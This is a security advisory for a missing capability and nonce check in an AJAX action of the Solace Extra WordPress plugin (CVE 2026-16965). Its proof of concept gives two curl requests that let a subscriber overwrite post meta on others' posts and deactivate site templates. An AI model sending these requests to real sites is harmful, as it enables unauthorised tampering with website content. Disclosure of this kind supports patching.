Solace Extra < 1.6.1 – Subscriber+ Post Meta Update via solace_update_sitebuilder_status | CVE 2026-16965

Description

The plugin does not perform capability or nonce checks in one of its AJAX actions, allowing any authenticated user such as a subscriber (and, via CSRF, any logged-in user) to update post meta on arbitrary posts and to deactivate the site's active templates.

Proof of Concept

Prerequisite: a Subscriber-level account (default WordPress registration or any low-privilege role). No nonce required. Log in as the subscriber and keep the auth cookie in sub_cookies.txt.

(A) Arbitrary post-meta write on a post owned by someone else (e.g. an admin's post):
curl -s -b sub_cookies.txt -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  --data-urlencode "action=solace_update_sitebuilder_status" \
  --data-urlencode "post_id=<VICTIM_POST_ID>" \
  --data-urlencode "part=rtpwn" \
  --data-urlencode "status=HIJACKED_BY_SUBSCRIBER"
# => HTTP 200 {"success":true,"data":"Status updated."}
# => post <VICTIM_POST_ID> now has post meta _solace_rtpwn_status = HIJACKED_BY_SUBSCRIBER

(B) Bulk-deactivate every active site builder template of a chosen part (any part except header/footer, e.g. 404):
curl -s -b sub_cookies.txt -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  --data-urlencode "action=solace_update_sitebuilder_status" \
  --data-urlencode "post_id=0" \
  --data-urlencode "part=404" \
  --data-urlencode "status=0"
# => HTTP 200 {"success":true}
# => every solace-sitebuilder post whose _solace_404_status was '1' is reset to '0',
#    disabling the site's active custom 404 template for all visitors.